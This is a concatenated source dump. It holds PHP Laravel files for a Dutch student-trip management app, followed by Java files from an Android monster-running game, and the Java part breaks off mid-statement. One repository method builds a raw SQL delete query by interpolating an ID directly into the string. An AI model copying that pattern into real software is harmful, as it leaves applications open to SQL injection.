verwijderd'); } } /** * This function updates a page * * @author <NAME> * * @param Request $request * @return \Illuminate\Http\RedirectResponse */ public function updateContent(Request $request){ $iPageId = $request->input('pageId'); $aPageData['type'] = $request->get('typeSelector'); if($aPageData['type'] == 'pdf') { $aPageData['content'] = ($request->input("filepath") == null) ? "" : $request->input("filepath"); $aPageData['is_visible'] = (bool)$request->input("Visible"); $this->pages->update($aPageData,$iPageId); return redirect()->route("infoPages")->with('message', 'De pagina is aangepast'); } else{ $aPageData['content'] = (strlen($request->get('content')) == 0) ? "" : $request->get('content'); $aPageData['is_visible'] = (bool)$request->input("Visible"); $this->pages->update($aPageData,$iPageId); return redirect()->route("infoPages")->with('message', 'De pagina is aangepast'); } } /** * This function shows a page in the front-end * * @author <NAME> * * @param $page_name * @return \Illuminate\Contracts\View\Factory|\Illuminate\View\View */ function showPage($page_name){ $aPages= Page::where('type','!=','info')->where('name',$page_name)->first(); if($aPages!=null) { return view('guest.contentpage', array( 'aPages' => $aPages, )); } else{ return "pagina bestaat niet"; } } } <file_sep><?php namespace App\Http\Controllers\GuestAccess; use App\Http\Controllers\Controller; use Illuminate\Http\Request; use Illuminate\Support\Facades\Mail; use App\Mail\ContactMail; use App\Repositories\Contracts\TripRepository; class ContactPageController extends Controller { /** * * @var tripRepository */ private $trips; public function __construct(TripRepository $trip) { $this->trips = $trip; } public function getInfo(){ $activeTripsWitchContact = $this->trips->getAllActiveWithContact(); return view('guest.contactpage',array('activeTrips'=>$activeTripsWitchContact)); } public function sendMail(Request $request){ $request->validate([ 'trip' => 'required', 'email' => 'required|email', 'subject' => 'required|max:160', 'message' => 'required', 'captcha' => 'required|captcha' ], [ 'captcha.captcha'=>'Foute captcha code.', 'trip.required' => 'selecteer een reis uit de lijst', 'email.required' => 'Geef jouw email adres op', 'email.email' => 'geen geldig email adres', 'subject.required' => 'Geef een onderwerp op', 'message.required' => 'Geef een bericht in', 'captcha.required' => 'Vul de captcha in' ] ); $oSelectedTrip = $this->trips->get((int)$request->post("trip")); $mailToAddress = $oSelectedTrip->contact_mail; $mailFromAddress = $request->post("email"); $subject = $request->post("subject"); $message = $request->post('message'); $this->sendMailTo($mailToAddress, $subject, $message, $mailFromAddress); return redirect()->route('home')->with('message', 'De e-mail is succesvol verzonden.'); } public function refreshCaptcha() { return response()->json(['captcha' => (string)captcha_img()]); } public function sendMailTo($mailToAddress, $subject, $message, $mailFromAddress) { $aMailData = [ 'subject' => $subject, 'email' => $mailToAddress, 'description' => $message, 'cmail'=>$mailFromAddress, ]; Mail::to($mailToAddress)->send(new ContactMail($aMailData)); } } <file_sep><?php namespace App\Models; use Illuminate\Database\Eloquent\Model; class Study extends Model { protected $primaryKey = 'study_id'; public function majors() { return $this->hasMany('App\Models\Major', 'study_id', 'study_id'); } } <file_sep><?php namespace App\Repositories\Contracts; /** * Description of TravellerRepository * * @author u0067341 */ interface UserRepository { /** * get user based on the username * * @param $sUserName the username * @return $aProfileData all Traveller Data */ public function get($sUserName); /** * update the user data based on the given array * * @param $aUserData all User Data */ public function update($aUserData,$userId); /** * get user resettoken based on the user_id * * @param $iUserId the user_id * @return $aProfileData all Traveller Data */ public function getResetToken($sUserName); /** * get all organizers that are guide * * @return array */ public function getGuides(); }<file_sep><?php namespace App\Http\Requests; use Illuminate\Foundation\Http\FormRequest; class RegistrationFormStep2Post extends FormRequest { /** * Determine if the user is authorized to make this request. * * @return bool */ public function authorize() { return true; } /** * * Get the error messages for the defined validation rules. * * @return array Returns an array of all validator messages. * */ public function messages() { return [ 'required' => 'The :attribute field must be filled in', 'txtNaam.required' => 'Je moet je achternaam invullen.', 'txtVoornaam.required' => 'Je moet je voornaam invullen.', 'gender.required' => 'Je moet een geslacht kiezen.', 'txtNationaliteit.required' => 'je moet je nationaliteit opgeven.', 'dateGeboorte.required' => 'Je moet je geboorte datum ingeven.', 'dateGeboorte.date_format' => 'De waarde die je hebt ingevuld hebt bij geboorte datum in ongeldig', 'txtGeboorteplaats.required' => 'Je moet je geboorte plaats ingeven.', 'txtAdres.required' => 'Je moet je adres ingeven.', 'dropGemeente.required' => 'Je moet je gemeente ingeven.', 'txtLand.required' => 'Je moet je land ingeven', 'txtBank.required' => 'Je moet je IBAN nummer ingeven.', 'iban' => 'Je moet een geldig IBAN nummer ingeven.', 'txtBic.required' => 'Je moet je BIC nummer ingeven.', 'bic' => 'Je moet een geldig BIC nummer ingeven', ]; } /** * Get the validation rules that apply to the request. * * @return array */ public function rules() { return [ 'txtNaam' => 'required', 'txtVoornaam' => 'required', 'gender' => 'required', 'txtNationaliteit' => 'required', 'dateGeboorte' => 'required', 'txtGeboorteplaats' => 'required', 'txtAdres' => 'required', 'dropGemeentes' => 'required', 'txtLand' => 'required', 'txtBank' => 'required | iban', 'txtBic' => 'required | bic', ]; } } <file_sep><?php use Illuminate\Database\Seeder; class DestinationTableSeeder extends Seeder { /** * Run the database seeds. * * @return void */ public function run() { // DB::table('destinations')->insert(array( 'destination_name' => 'Amerika' )); DB::table('destinations')->insert(array( 'destination_name' => 'Duitsland' )); DB::table('destinations')->insert(array( 'destination_name' => 'China' )); } } <file_sep><?php namespace App\Repositories\Contracts; /** * Description of PageRepository * * @author u0067341 */ interface PageRepository { public function create($sPageName); public function get($sPageName); public function update($aPageData,$iPageId); public function delete($iPageId); public function updateHomePage($sPageContent); public function getAllInfoPages(); } <file_sep><?php namespace App\Http\Controllers\Organiser; use Illuminate\Http\Request; use App\Http\Controllers\Controller; use Illuminate\Support\Facades\Session; use App\Repositories\Contracts\TripRepository; use App\Repositories\Contracts\TransportRepository; use App\Repositories\Contracts\TravellerRepository; use Illuminate\Support\Facades\Auth; class Transport extends Controller { /** * * @var tripRepository */ private $trips; /** * * @var transportRepository */ private $transports; /** * * @var travellerRepository */ private $travellers; public function __construct(TripRepository $trip, TransportRepository $transport, TravellerRepository $traveller) { $this->trips = $trip; $this->transports = $transport; $this->travellers = $traveller; } /** * This function checks if tif the current user is admin or organiser for * the trip * * @author <NAME> * * @return boolean */ private function hasRights() { $oUser = Auth::user(); $bIsOrganizer=false; if($oUser->role!='admin'){ $bIsOrganizer = $this->travellers->isOrganizerForTheTrip(session('tripId')); } if (($oUser->role == 'guide'&& $bIsOrganizer)||($oUser->role=='admin')){ return true; }else{ return false; } } /** * * @param type $iTripId * @return type */ public function overview($iTripId = null) { $oUser = Auth::user(); /* Get all active trips and number of partisipants */ $aActiveTrips = $this->trips->getAllActive(); if($aActiveTrips->count() == 0){ return Redirect::back()->withErrors(['er zijn geen active reizen om weer te geven']); } foreach ($aActiveTrips as $oTrip) { $aTripsAndNumberOfAttendants[$oTrip->trip_id]['trip_id'] = $oTrip->trip_id; $aTripsAndNumberOfAttendants[$oTrip->trip_id]['name'] = $oTrip->name; $aTripsAndNumberOfAttendants[$oTrip->trip_id]['year'] = $oTrip->year; $aTripsAndNumberOfAttendants[$oTrip->trip_id]['numberOfAttends'] = $this->trips->getNumberOfAttendants($oTrip->trip_id); } /* Get all active trips that can be accessed by the user depending on his role */ if ($oUser->role == 'admin') { $aTripsByOrganiser = $aActiveTrips; }elseif ($oUser->role == 'guide') { $aTripsByOrganiser = $this->trips->getActiveByOrganiser($oUser->user_id); if($aTripsByOrganiser->count() == 0){ return Redirect::back()->withErrors(['er zijn geen active reizen om weer te geven']); } } /* if tripId not set set tripId to the first active trip of the organiser */ if ($iTripId == null) { $iTripId = $aTripsByOrganiser[0]->trip_id; } /* store active trip to session */ Session::put('tripId', $iTripId); /* Check if user can access the data of the requested trip */ if (!$aTripsByOrganiser->contains('trip_id',$iTripId)){ return abort(403); } /* Get the current trip */ $oCurrentTrip = $this->trips->get($iTripId); /* get all vans for the current trip */ $vansPerTrip = $this->transports->getVansPerTrip($iTripId); //dd($vansPerTrip,$vansPerTrip[0]->driver->first_name); $occupationPerVan = array(); $travellersPerVan = array(); foreach ($vansPerTrip as $van){ $occupationPerVan[$van->transport_id] = $this->transports->getVanOccupation($van->transport_id); $travellersPerVan[$van->transport_id]= $this->transports->getTravellersPerVan($van->transport_id); } /* set currentTravellerId to 'admin' if admin or id if regular traveller*/ if($oUser->role=='admin'){ $currentTravellerId='admin'; } else{ $currentTravellerId = $oUser->traveller->traveller_id; } return view('organizer.lists.vans', [ 'oCurrentTrip' => $oCurrentTrip, 'aTripsAndNumberOfAttendants' => $aTripsAndNumberOfAttendants, 'aTripsByOrganiser' => $aTripsByOrganiser, 'vansPerTrip' => $vansPerTrip, 'occupationPerVan' => $occupationPerVan, 'travellersPerVan' => $travellersPerVan, 'currentTravellerId' => $currentTravellerId, ]); } public function deleteVan($transportId) { if ($this->hasRights()){ $this->transports->deleteTransport($transportId); return redirect()->back(); }else{ return redirect()->back()->with('errormessage', 'je hebt onvoldoende rechten voor deze bewerking'); } } public function createVan(Request $request) { if ($this->hasRights()){ $tripId = session('tripId'); $driverId = $request->post('Driver'); $size = $request->post('AutoSize'); $this->transports->addTransport($tripId, $driverId, $size); return redirect()->back(); }else{ return redirect()->back()->with('errormessage', 'je hebt onvoldoende rechten voor deze bewerking'); } } } <file_sep><?php use Illuminate\Support\Facades\Schema; use Illuminate\Database\Schema\Blueprint; use Illuminate\Database\Migrations\Migration; class CreateTravellersTable extends Migration { /** * Run the migrations. * * @return void */ public function up() { Schema::create('travellers', function (Blueprint $table) { $table->increments('traveller_id'); $table->integer("user_id")->unique()->unsigned(); //foreign key moet unsigned zijn -JM $table->integer('zip_id')->unsigned(); $table->integer('major_id')->unsigned(); $table->string("first_name"); $table->string("last_name"); $table->string('email')->unique(); $table->string("country"); $table->string("address"); $table->string("gender"); $table->string("phone"); $table->string("emergency_phone_1"); $table->string("emergency_phone_2")->nullable(); $table->string("nationality"); $table->date("birthdate"); $table->string("birthplace"); $table->string("iban"); $table->string("bic"); $table->boolean("medical_issue"); $table->string("medical_info")->nullable(); $table->rememberToken(); $table->timestamps(); $table->foreign('user_id')->references('user_id')->on('users')->onDelete("cascade"); $table->foreign('zip_id')->references('zip_id')->on('zips'); $table->foreign('major_id')->references('major_id')->on('majors'); }); } /** * Reverse the migrations. * * @return void */ public function down() { Schema::dropIfExists('travellers'); } } <file_sep><?php namespace App\Exports; use Maatwebsite\Excel\Concerns\FromCollection; use Maatwebsite\Excel\Concerns\WithHeadings; use Maatwebsite\Excel\Concerns\ShouldAutoSize; class PaymentsExport implements FromCollection, WithHeadings, ShouldAutoSize { protected $paymentData; /** * PaymentsExport Constructor * * @param travellerRepository $traveller * @param tripRepository $trip */ public function __construct($paymentData) { $this->paymentData = $paymentData; } public function collection() { return $this->paymentData; } public function headings(): array { return [ 'StudentNr', 'Voornaam', 'Achternaam', 'Datum', 'Bedrag' ]; } }<file_sep><?php namespace App\Repositories\Contracts; /** * Description of TravellerRepository * * @author u0067341 */ interface RoomRepository { /** * get all rooms for a specific accomodation of a trip * * @return collection */ public function getRoomsPerAccomodationPerTrip($iAccomodationTripId); /** * get the room occupancy * * @return integer */ public function getRoomOccupation($iHotelTripId); public function getTravellersPerRoom($iRoomId); public function addRoom($iHotelTripId,$iOccupation,$iRoomNumber); public function deleteRoom($roomId); public function addTravellerToRoom($travellerId,$roomId); public function deleteTravellerFromRoom($roomid,$travellerId); public function hasRoom($travellerId,$hotelTripId); }<file_sep><?php use Illuminate\Database\Seeder; use Illuminate\Support\Facades\DB; class TripsTableSeeder extends Seeder { /** * Run the database seeds. * * @return void */ public function run() { DB::table('trips')->insert([ 'name' => 'Amerika', 'is_active' => true, 'year' => 2019, 'price'=>2000, 'contact_mail'=>'<EMAIL>' ]); DB::table('trips')->insert([ 'name' => 'Duitsland', 'is_active' => true, 'price'=>1000, 'year' => 2019, 'contact_mail'=>'<EMAIL>' ]); DB::table('trips')->insert([ 'name' => 'Amerika', 'is_active' => false, 'price'=>1999, 'year' => 2018, 'contact_mail'=>'<EMAIL>' ]); } } <file_sep><?php namespace App\Models; use Illuminate\Database\Eloquent\Model; class Accomodation extends Model { // } <file_sep><?php namespace App\Repositories\Eloquent; use App\Repositories\Contracts\AccomodationRepository; use Illuminate\Support\Facades\DB; use App\Models\Trip; use App\Models\Hotel; /** * accessing trip data * * @author u0067341 */ class EloquentAccomodation implements AccomodationRepository { /** * get the accomodation name * * @return string */ public function getAccomodationName($accomodationId) { $accomodation = Hotel::where('hotel_id',$accomodationId) ->first(['hotel_name']);//->pluck('hotel_name'); if (!$accomodation){ return false; }else{ return $accomodation->hotel_name; } } /** * get all accomodations for a specific trip * * @return collection */ public function getAccomodationsPerTrip($iTripId) { $accomodations = Trip::where('trip_id',$iTripId)->first()->accomodations()->orderBy('start_date','asc')->get(); return $accomodations; } /** * get all accomodations for a specific destination * * @return collection */ public function getAccomodationsByDestination($sDestinationName) { $accomodations = Hotel::where('trip_destination',$sDestinationName)->get(); if (!$accomodations->isempty()){ foreach ($accomodations as $accomodation){ $aKeys[] = $accomodation->hotel_id; $aValues[] = $accomodation; } $accomodations = collect(array_combine($aKeys, $aValues)); } return $accomodations; } /** * add accomodations to trip * * @return */ public function addAccomodationsToTrip($aData) { $trip = Trip::find($aData['trip_id']); $trip->accomodations()->attach($aData['hotel_id'],['start_date' => $aData['start_date'], 'end_date' => $aData['end_date']]); return true; } /** * store new accomodation * * @return */ public function storeAccomodation($request) { $accomodation = new Hotel(); $accomodation->hotel_name = $request->AccomodationName; $accomodation->trip_destination = $request->Destination; $accomodation->type_of_accomodation = $request->TypeOfAccomodation; $accomodation->address = $request->Address; $accomodation->phone = $request->Phone; $accomodation->email = $request->EmailAccomodation; $accomodation->website_link = $request->WebsiteAccomodation; $accomodation->picture1_link = $request->AccomodationImage1; $accomodation->picture2_link = $request->AccomodationImage2; $accomodation->save(); return true; } /** * update accomodation * * @return */ public function updateAccomodation($request) { $accomodation = Hotel::find($request->AccomodationId); $accomodation->hotel_name = $request->AccomodationName; $accomodation->trip_destination = $request->Destination; $accomodation->type_of_accomodation = $request->TypeOfAccomodation; $accomodation->address = $request->Address; $accomodation->phone = $request->Phone; $accomodation->email = $request->EmailAccomodation; $accomodation->website_link = $request->WebsiteAccomodation; $accomodation->picture1_link = $request->AccomodationImage1; $accomodation->picture2_link = $request->AccomodationImage2; $accomodation->save(); } /** * delete accomodation * * @return */ public function deleteAccomodationFromTrip($iId) { //onderstaande lukt niet met eloquent detach omdat dan alle rijen met //dezelfde accomodatie worden gewist en dit is niet de bedoeling. //met eloquent detach kan je niet wissen op basis van het id van de //pivot table $sqlDelete = "delete from hotel_trip where id=$iId"; DB::select($sqlDelete); return true; } }<file_sep><?php namespace App\Repositories\Contracts; /** * Description of StudieRepository * * @author u0067341 */ interface StudieRepository { /** * * * @return type */ public function get(); /** * * @param type $studyId * @return type */ public function getMajorsByStudy($studyId); } <file_sep><?php namespace App\Http\Controllers\Admin; use App\Http\Controllers\Controller; use App\Repositories\Contracts\PageRepository; use Illuminate\Http\Request; use Illuminate\Support\Facades\Auth; use Illuminate\Support\Facades\Input; class HomePageController extends Controller { /** * * @var PageRepository */ private $pages; /** * Create a new controller instance. * * @return void */ public function __construct(PageRepository $page) { $this->pages = $page; } /** * This function fills the editor with its saved content * * @author <NAME> * * @return \Illuminate\Contracts\View\Factory|\Illuminate\View\View */ public function getInfo(){ $oPage = $this->pages->get('home'); return view('admin.home.editHomePage', array( 'oPage' => $oPage, )); } /** * This function updates the content of the infoPage * * @author <NAME> * * @param Request $request * @return \Illuminate\Http\RedirectResponse */ public function updateInfo(Request $request){ $sPageContent = $request->post('content'); if (strlen($sPageContent) == 0){ $sPageContent = ""; } $this->pages->updateHomePage($sPageContent); return redirect()->back()->with('message', 'De info pagina is aangepast'); } /** * This function shows the infoPage in the front-end * * @author <NAME> * * @return \Illuminate\Contracts\View\Factory|\Illuminate\View\View */ public function showInfo(){ $oContent=Page::where('name', 'Info')->first(); return view('guest.infopage', array( 'oContent' => $oContent, )); } }
ebf3e196826515890e32dbf27abb9b730a2a9465
[ "JavaScript", "PHP" ]
80
PHP
ssegers/reizentechnologie
d977dec6e1b71c67ae80651efe6b2c65d463a568
04c378d299773d3c8a1c23aaca0657140496f087
refs/heads/master
<repo_name>ajasty-cavium/jmh-cavium<file_sep>/src/main/java/com/cavium/JSRTest.java import java.util.ArrayList; import java.util.List; import java.util.concurrent.atomic.AtomicInteger; public class JSRTest { private static final int youngArraySize = 100000; private static final int oldArraySize = 20000000; private List<String> oldStore = new ArrayList<>(oldArraySize); private List<String> youngStore = new ArrayList<>(youngArraySize); // private static int nThread = 96; public static AtomicInteger nThread; private static long longestPause = 0; private void finished() { if (nThread.decrementAndGet() == 0) System.err.println("max pause: " + longestPause); } private void go() { long time=System.currentTimeMillis(), tPause; for(int i=0;i<1000;++i){ if(i%100==0){ redoOld(); time=System.currentTimeMillis(); } for(int j=0;j<youngArraySize/96;++j){ youngStore.add(((Integer)j).toString().replace("0", "91")); } //youngStore.clear(); long t=System.currentTimeMillis(); tPause = t - time; //System.out.println("\nX" + (tPause)); if (tPause > longestPause) longestPause = tPause; time=t; youngStore.clear(); //system.gc(); } finished(); } private void redoOld(){ oldStore.clear(); for(int j=0;j<oldArraySize/96;++j){ oldStore.add(((Integer)j).toString()); } } public static void main(String[] args){ nThread = new AtomicInteger(96); for(int i=0;i<96;++i){ new Thread(){ public void run(){ new JSRTest().go(); } }.start(); } } } <file_sep>/src/main/java/com/cavium/LSETest.java package com.cavium; import java.util.ArrayList; import java.util.List; public class LSETest { private static final int youngArraySize = 100000; private static final int oldArraySize = 20000000; private List<String> oldStore = new ArrayList<>(oldArraySize); private List<String> youngStore = new ArrayList<>(youngArraySize); private static volatile int nThread = 96; private static long longestPause = 0; private volatile static int update = 0; private synchronized void finished() { if (--nThread == 0) System.err.println("max pause: " + longestPause); } private synchronized int update() { return update++; } private void go() { long time=System.currentTimeMillis(), tPause; while (update() < 100000); if (update() > 10) return; for(int i=0;i<2000000;++i){ /*if(i%100==0){ redoOld(); time=System.currentTimeMillis(); }*/ for(int j=0;j<youngArraySize/nThread;++j){ //youngStore.add(((Integer)j).toString().replace("0", "91")); } //youngStore.clear(); long t=System.currentTimeMillis(); tPause = t - time; //System.out.println("\nX" + (tPause)); if (tPause > longestPause) longestPause = tPause; time=t; update(); //youngStore.clear(); //system.gc(); } finished(); } private void redoOld(){ oldStore.clear(); for(int j=0;j<oldArraySize/nThread;++j){ oldStore.add(((Integer)j).toString()); } } public static void runTest() { for(int i=0;i<nThread;++i){ new Thread(){ public void run(){ new LSETest().go(); } }.start(); } } public static void main(String[] args) { runTest(); } } <file_sep>/README.md # jmh-cavium
6b0923f9c5b53619e3b99255204a4c8836a6de58
[ "Markdown", "Java" ]
3
Java
ajasty-cavium/jmh-cavium
ee496ada6ccbd019172ac1ba36207fb5fcef8780
3a0982b7d63f8b3a41b4d6ab2321de6bf8097e75
refs/heads/master
<repo_name>chang47/MonsterColorRun<file_sep>/worldrunner/src/com/brnleehng/worldrunner/Items.java package com.brnleehng.worldrunner; import util.TutorialTest; import com.github.amlcurran.showcaseview.ShowcaseView; import com.github.amlcurran.showcaseview.targets.ViewTarget; import android.app.Activity; import android.app.Fragment; import android.content.Context; import android.content.SharedPreferences; import android.os.Bundle; import android.view.LayoutInflater; import android.view.View; import android.view.View.OnClickListener; import android.view.ViewGroup; import android.widget.Button; // Framgent to display user's sticker/equipment options public class Items extends Fragment { Button mViewEquipment; Button mEquipItems; Button mSellEquipment; Button mViewSticker; Button mEquipSticker; Button mSellSticker; private SharedPreferences pref; private boolean firstTime; private ShowcaseView showItems; private ShowcaseView showEquip; @Override public View onCreateView(LayoutInflater inflater, ViewGroup container, Bundle savedInstanceState) { super.onCreate(savedInstanceState); View view = inflater.inflate(R.layout.items_activity, container, false); // mViewEquipment = (Button) view.findViewById(R.id.viewEquipment); mEquipItems = (Button) view.findViewById(R.id.equipEquipment); // mSellEquipment = (Button) view.findViewById(R.id.sellEquipment); mViewSticker = (Button) view.findViewById(R.id.viewSticker); // mEquipSticker = (Button) view.findViewById(R.id.equipSticker); mSellSticker = (Button) view.findViewById(R.id.sellSticker); /* mViewEquipment.setOnClickListener(new View.OnClickListener() { @Override public void onClick(View v) { Hub.viewEquipment(); } }); */ mViewSticker.setOnClickListener(new View.OnClickListener() { @Override public void onClick(View v) { Hub.viewSticker(); } }); /* mSellEquipment.setOnClickListener(new View.OnClickListener() { @Override public void onClick(View v) { Hub.sellEquipment(); } });*/ mSellSticker.setOnClickListener(new View.OnClickListener() { @Override public void onClick(View v) { Hub.sellSticker(); } }); mEquipItems.setOnClickListener(new OnClickListener() { @Override public void onClick(View v) { Hub.equipItems(); } }); pref = getActivity().getSharedPreferences("MonsterColorRun", Context.MODE_PRIVATE); firstTime = pref.getBoolean(getString(R.string.viewMonsters), true); if (firstTime) { showItems = new ShowcaseView.Builder(getActivity()) .setTarget(new ViewTarget(view.findViewById(R.id.sellSticker))) .setContentText("Showcase View") .setContentText("Click edit party to edit your party") .build(); showItems.overrideButtonClick(new View.OnClickListener() { @Override public void onClick(View v) { showItems.hide(); commonHide(showItems); ((ViewGroup)getActivity().getWindow().getDecorView()).removeView(showItems); ViewTarget target = new ViewTarget(R.id.equipEquipment, getActivity()); showEquip = new ShowcaseView.Builder(getActivity()) .setTarget(target) .setContentText("Showcase View") .setContentText("Equip party") .build(); showEquip.hideButton(); showEquip.setOnClickListener(new View.OnClickListener() { @Override public void onClick(View v) { showEquip.hide(); commonHide(showEquip); ((ViewGroup)getActivity().getWindow().getDecorView()).removeView(showEquip); pref.edit().putBoolean(getString(R.string.viewMonsters), false).apply(); Hub.equipItems(); } }); } }); } return view; } public static void commonHide(ShowcaseView scv) { scv.setOnClickListener(null); scv.setOnShowcaseEventListener(null); scv.setOnTouchListener(null); } } <file_sep>/worldrunner/src/com/brnleehng/worldrunner/CityDungeon.java package com.brnleehng.worldrunner; import util.TutorialTest; import com.github.amlcurran.showcaseview.ShowcaseView; import com.github.amlcurran.showcaseview.targets.ViewTarget; import metaModel.City; import metaModel.Dungeon; import android.app.Fragment; import android.app.FragmentTransaction; import android.content.Context; import android.content.SharedPreferences; import android.os.Bundle; import android.util.Log; import android.view.LayoutInflater; import android.view.View; import android.view.ViewGroup; import android.webkit.WebView.FindListener; import android.widget.Button; import android.widget.LinearLayout; import android.widget.Toast; import android.widget.LinearLayout.LayoutParams; public class CityDungeon extends Fragment { public City city; public LinearLayout layout; private boolean firstTime; private SharedPreferences pref; private ShowcaseView showInfo; private ShowcaseView showSelectDungeon; private View view; public View onCreateView(LayoutInflater inflater, ViewGroup container, Bundle savedInstanceState) { view = inflater.inflate(R.layout.citydungeon_activity, container, false); layout = (LinearLayout) view.findViewById(R.id.cityDungeonLayout); city = Hub.getCurrentCity(); // lists dungeons for (final Dungeon dungeon : Hub.refDungeons.get(city.cityId)) { Log.v("showInfoStuff", "city Id" + city.cityId + " dungeon id " + dungeon.dungeonId + " dungeon name " + dungeon.dungeonName); Button button = (Button) inflater.inflate(R.layout.template_button, container, false); //button.setLayoutParams(new LinearLayout.LayoutParams(LayoutParams.MATCH_PARENT, LayoutParams.WRAP_CONTENT)); button.setId(dungeon.dungeonId); button.setText(dungeon.dungeonName); button.setOnClickListener(new View.OnClickListener() { @Override public void onClick(View v) { if (Hub.partySize() > 0) { Hub.startDungeonRun(dungeon); } else { Toast.makeText(getActivity(), "Add one monster to your team before you start!", Toast.LENGTH_SHORT).show(); } } }); layout.addView(button); } pref = getActivity().getSharedPreferences("MonsterColorRun", Context.MODE_PRIVATE); firstTime = pref.getBoolean(getString(R.string.showDungeon), true); //firstTime = TutorialTest.showDungeon; view.post(new Runnable() { @Override public void run() { if (firstTime && Hub.currentCity.cityId == 1 && Hub.partySize() > 0) { showInfo = new ShowcaseView.Builder(getActivity()) .setTarget(new ViewTarget(view.findViewById(1))) .setContentText("Showcase View") .setContentText("Click edit party to edit your party") .build(); showInfo.overrideButtonClick(new View.OnClickListener() { @Override public void onClick(View v) { showInfo.hide(); commonHide(showInfo); ((ViewGroup)getActivity().getWindow().getDecorView()).removeView(showInfo); showSelectDungeon = new ShowcaseView.Builder(getActivity()) .setTarget(new ViewTarget(view.findViewById(1))) .setContentText("Showcase View") .setContentText("Click edit party to edit your party") .build(); showSelectDungeon.hideButton(); showSelectDungeon.setOnClickListener(new View.OnClickListener() { @Override public void onClick(View v) { showSelectDungeon.hide(); commonHide(showSelectDungeon); ((ViewGroup)getActivity().getWindow().getDecorView()).removeView(showSelectDungeon); TutorialTest.showDungeon = false; pref.edit().putBoolean(getString(R.string.showDungeon), false).apply(); pref.edit().putBoolean(getString(R.string.showBattle), true).apply(); Hub.startDungeonRun(Hub.refDungeons.get(1).get(0)); } }); } }); } } }); return view; } public static void commonHide(ShowcaseView scv) { scv.setOnClickListener(null); scv.setOnShowcaseEventListener(null); scv.setOnTouchListener(null); } } <file_sep>/worldrunner/src/DB/Model/Tournament.java package DB.Model; //TODO fill up // Each city contains a tournament where users race to receive // an reward to be able to enter the world running tournament public class Tournament { } <file_sep>/worldrunner/src/DB/Model/Player.java package DB.Model; // Model representing the players public class Player { public int pid; public String username; public int level; public int exp; public int coin; public int gem; public int currentSticker; public int maxSticker; public int city; public Player() { } public Player(int pid, String username, int level, int exp, int coin, int gem, int currentSticker, int maxSticker, int city) { super(); this.pid = pid; this.username = username; this.level = level; this.exp = exp; this.coin = coin; this.gem = gem; this.currentSticker = currentSticker; this.maxSticker = maxSticker; this.city = city; } /* public int getPid() { return pid; } public void setPid(String pid) { this.pid = Integer.parseInt(pid); } public String getUsername() { return username; } public void setUsername(String username) { this.username = username; } public String getFname() { return fname; } public void setFname(String fname) { this.fname = fname; } public String getLname() { return lname; } public void setLname(String lname) { this.lname = lname; } public int getLevel() { return level; } public void setLevel(String level) { this.level = Integer.parseInt(level); } public int getExp() { return exp; } public void setExp(String exp) { this.exp = Integer.parseInt(exp); } public int getCoin() { return coin; } public void setCoin(String coin) { this.coin = (coin); } public int getGem() { return gem; } public void setGem(int gem) { this.gem = gem; } public int getCurrentSticker() { return currentSticker; } public void setCurrentSticker(int currentSticker) { this.currentSticker = currentSticker; } public int getMaxSticker() { return maxSticker; } public void setMaxSticker(int maxSticker) { this.maxSticker = maxSticker; } public void setCity(int city) { this.city = city; } public int getCity() { return city; } */ } <file_sep>/worldrunner/src/metaModel/Route.java package metaModel; import java.util.ArrayList; import DB.Model.Monster; // Paths between cities that players can take to // fight and grind monsters and reach different locations public class Route { public int id; public String name; public String description; public int min; public int max; public int from; public int to; public int clear; public int quantity; // unique identifier for list of monsters for this route public int monsterRouteId; public Route(int routeId, String routeName, String description, int min, int max, int from, int to, int clear, int quantity, int monsterRouteId) { this.id = routeId; this.name = routeName; this.description = description; this.min = min; this.max = max; this.from = from; this.to = to; this.clear = clear; this.quantity = quantity; this.monsterRouteId = monsterRouteId; } } <file_sep>/worldrunner/src/metaModel/MetaAbility.java package metaModel; public class MetaAbility { public int id; public int type; public String name; public String description; public int steps; public int attribute; public double modifier; public int duration; public MetaAbility(int id, int type, String name, String description, int steps, int attribute, double modifier, int duration) { this.id = id; this.type = type; this.name = name; this.description = description; this.steps = steps; this.attribute = attribute; this.modifier = modifier; this.duration = duration; } } <file_sep>/worldrunner/src/util/Parser.java package util; import java.util.ArrayList; import java.util.List; import metaModel.DungeonMonsters; import metaModel.MetaAbility; import metaModel.RouteMonsters; import android.util.Log; import com.brnleehng.worldrunner.Hub; import Abilities.Ability; import Abilities.DamageAbility; import Abilities.DamageAllAbility; import Abilities.SupportAbility; import DB.Model.Monster; import DB.Model.Sticker; public class Parser { public String getPlayerName(String str) { String[] arr = str.split("$"); checkError(arr); return arr[0]; } public int getMoney(String str) { String[] arr = str.split("$"); checkError(arr); return Integer.parseInt(arr[1]); } public int getGem(String str) { String[] arr = str.split("$"); checkError(arr); return Integer.parseInt(arr[2]); } public String[] getEquipment(String str) { String[] arr = str.split("$"); checkError(arr); String[] equipment = arr[3].split(","); if (equipment.length > 6) { throw new IllegalArgumentException("Equipment can't be greater than 5"); } return equipment; } public String[] getInventory(String str) { String[] arr = str.split("$"); checkError(arr); String[] inventory = arr[4].split(","); return inventory; } public String[] getFriends(String str) { String[] arr = str.split("$"); checkError(arr); String[] inventory = arr[5].split(","); return inventory; } public int getLevel(String str) { String[] arr = str.split("$"); checkError(arr); return Integer.parseInt(arr[6]); } public int getExp(String str) { String[] arr = str.split("$"); checkError(arr); return Integer.parseInt(arr[7]); } private void checkError(String[] arr) { if (arr.length == 0) { throw new IllegalArgumentException("Give no elements"); } if (arr.length != 5) { throw new IllegalArgumentException("List has incorrect # of elements"); } } public static Monster stickerToMonster(Sticker sticker) { return new Monster(sticker.pstid, sticker.name, sticker.hp, sticker.attack, sticker.defense, sticker.speed, sticker.capture, sticker.element, getAbility(sticker), sticker.position, sticker.equipped, sticker.current_exp, sticker.current_level, sticker.evolve, sticker.sid); } /** * Creates a new monster that's added to the database and will be promptly regenerated * afterwards so that they can be used * @param monster * @return */ public static Sticker CapturedMonsterToSticker(Monster monster) { /* public Sticker(int pstid, int pid, int sid, String name, int color, int current_level, int current_exp, int spaid, int saaid, int evolve, int equipped, int position, int hp, int attack, int defense, int speed, double capture, int element) { */ // TODO need to get a list of default stats for stickers, for now we'll just put placeholders // generates new sticker id when being add Log.d("ability name", monster.name); return new Sticker(-1, Hub.player.pid, monster.monsterId, monster.name, monster.element, 1, 0, monster.activeAbility.abilityId, monster.activeAbility.abilityId, 0, 0, 0, monster.hp, monster.attack, monster.defense, monster.speed, monster.capture); } /** * Returns existing monsters back to the database where they are stored * @param monster * @return */ public static Sticker MonsterToSticker(Monster monster) { // TODO might requires the list of all monsters return new Sticker(monster.uid, Hub.player.pid, monster.monsterId, monster.name, monster.element, monster.level, monster.exp, 